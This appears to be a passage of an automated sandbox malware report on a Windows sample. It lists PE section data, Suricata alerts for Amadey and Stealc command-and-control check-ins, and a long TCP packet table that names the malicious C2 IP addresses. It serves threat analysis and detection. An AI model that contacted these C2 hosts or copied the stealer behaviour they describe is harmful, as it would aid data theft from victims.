.taggant	0x680000	0x3000	0x2200	ad23f46b5a555cb9b06cfd4146c4930f	False	0.07042738970588236	DOS executable (COM)	0.7926460731231642	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x67e5d8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T02:27:04.444470+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50047	TCP
2024-11-28T02:27:15.415152+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49723	185.215.113.206	80	TCP
2024-11-28T02:27:15.860087+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49723	185.215.113.206	80	TCP
2024-11-28T02:27:15.990592+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49723	TCP
2024-11-28T02:27:16.309902+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49723	185.215.113.206	80	TCP
2024-11-28T02:27:16.437166+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49723	TCP
2024-11-28T02:27:17.840241+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49723	185.215.113.206	80	TCP
2024-11-28T02:27:18.692110+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49723	185.215.113.206	80	TCP
2024-11-28T02:27:41.421944+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:43.417408+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:44.890250+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:46.217505+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:49.939991+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:51.229925+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-11-28T02:27:56.983820+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49942	185.215.113.16	80	TCP
2024-11-28T02:29:06.124453+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50046	185.215.113.43	80	TCP
2024-11-28T02:29:10.738771+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50048	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 02:27:04.444469929 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:04.444530010 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:04.446635962 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.446707964 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.446959019 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.451689005 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:04.452013969 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:04.452083111 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:04.455319881 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.455384016 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.455632925 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.460347891 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:04.460664034 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:04.460726976 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:04.463980913 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.464063883 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.464222908 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.469079971 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:04.469300985 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:04.469351053 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:04.472605944 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.472744942 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.472870111 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.481327057 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.481440067 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.481570005 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.489974022 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.490055084 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.490221024 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.498676062 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.498786926 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.498919964 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.507432938 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.507523060 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.524655104 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:04.524923086 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:04.524935961 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:04.524980068 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:04.544493914 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.567244053 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:04.598565102 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.621506929 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.621709108 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.621809959 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.624021053 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.624300003 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.624368906 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.632720947 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.632975101 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.633049965 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.641383886 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.641630888 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.641715050 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.650080919 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.650322914 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.650398016 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.658742905 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.659001112 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.659071922 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.667421103 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.667685986 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.667773008 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.676074982 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.676337957 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.676409960 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.684820890 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.685060978 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.685129881 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.693414927 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.693680048 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.693749905 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.701468945 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.701581001 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.701659918 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.709264994 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.709517956 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.709584951 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.717132092 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.717394114 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.717467070 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.725058079 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.725352049 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.725419044 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.732975006 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.733338118 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.733409882 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.734925985 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:04.740891933 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.741117954 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.741209030 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.741386890 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:04.746767998 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.747033119 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.747101068 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.752702951 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.752962112 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.753022909 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.758634090 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.758856058 CET	80	49713	199.232.214.172	192.168.2.6
Nov 28, 2024 02:27:04.758917093 CET	49713	80	192.168.2.6	199.232.214.172
Nov 28, 2024 02:27:04.865101099 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:05.311067104 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:05.314238071 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:05.314476967 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:05.314601898 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:05.438158989 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:05.438206911 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:05.438283920 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:05.881143093 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:05.927321911 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:06.115889072 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:06.160996914 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:06.176634073 CET	49674	443	192.168.2.6	173.222.162.64
Nov 28, 2024 02:27:06.176641941 CET	49673	443	192.168.2.6	173.222.162.64
Nov 28, 2024 02:27:06.326103926 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:06.327054024 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:06.450862885 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:06.489121914 CET	49672	443	192.168.2.6	173.222.162.64
Nov 28, 2024 02:27:06.911427975 CET	443	49714	20.198.119.143	192.168.2.6
Nov 28, 2024 02:27:06.957833052 CET	49714	443	192.168.2.6	20.198.119.143
Nov 28, 2024 02:27:09.273688078 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.273727894 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.277880907 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.277920961 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.277985096 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.278186083 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.278201103 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.302042961 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.302073956 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.302341938 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.302567959 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.302583933 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.400177002 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.400196075 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.400204897 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.400213957 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.400262117 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.942189932 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.942450047 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.942517996 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.946466923 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.946793079 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.946856976 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.955212116 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.955549955 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.955625057 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.963938951 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.964252949 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.964339972 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:09.972671986 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.972958088 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:09.973226070 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:10.506831884 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:10.506872892 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:10.506937981 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:10.541323900 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:10.541347027 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:11.246470928 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.246597052 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.290355921 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.290374041 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.290735006 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.291239977 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.291239977 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.291280985 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.351869106 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.352003098 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.433176994 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.433217049 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.433459997 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.433983088 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.433983088 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.434026003 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.988464117 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.988491058 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.988532066 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.988595963 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.988617897 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.988652945 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:11.995198965 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:11.997025967 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:12.076312065 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:12.076312065 CET	49717	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:12.076351881 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.076361895 CET	443	49717	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.159250975 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.159277916 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.159338951 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.159383059 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:12.159405947 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.159426928 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:12.166481972 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.166546106 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:12.181282043 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:12.181308031 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.181318998 CET	49716	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:12.181325912 CET	443	49716	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:12.354496002 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:12.354571104 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.412193060 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.412237883 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:12.412338972 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.441258907 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.441287041 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:12.441354036 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.443660975 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.443687916 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:12.460750103 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.460767031 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:12.539375067 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.539402962 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:12.539741039 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:12.539798021 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.542314053 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:12.542349100 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:12.914175034 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:12.914221048 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:12.914295912 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:12.914779902 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:12.914797068 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:13.024837017 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:13.024863958 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:13.024935961 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:13.024935961 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:13.024957895 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:13.025048971 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:13.026921034 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:13.026966095 CET	443	49718	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:13.027026892 CET	49718	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:13.215967894 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:13.216001034 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:13.216083050 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:13.216311932 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:13.216326952 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:13.253900051 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:13.377710104 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:13.377866983 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:13.378547907 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:13.502203941 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:14.255444050 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.255525112 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.259382010 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.259392977 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.259651899 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.259663105 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.259704113 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.259747982 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.270066023 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.270164013 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.272773027 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.272780895 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.272989035 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.272994995 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.273051977 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.273170948 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.712685108 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:14.713263988 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:14.776640892 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:14.776746035 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:14.797940969 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:14.797954082 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:14.798285961 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:14.848479986 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:14.863467932 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.863497972 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.863609076 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.863630056 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.864141941 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.864208937 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.955044031 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.955066919 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.955080986 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.955216885 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.955226898 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:14.955281019 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:14.959497929 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:14.960081100 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:15.007334948 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.029103994 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.029175043 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.083753109 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:15.121423960 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.121507883 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.121522903 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.121534109 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.121572018 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.143294096 CET	49719	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.143321037 CET	443	49719	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.149180889 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.149182081 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.149202108 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.149214983 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.149565935 CET	443	49722	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.149621010 CET	49722	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.153192997 CET	49720	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:15.153203964 CET	443	49720	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:15.344095945 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.344137907 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.344146967 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.344151974 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.344172001 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:15.344192982 CET	49721	443	192.168.2.6	13.107.246.63
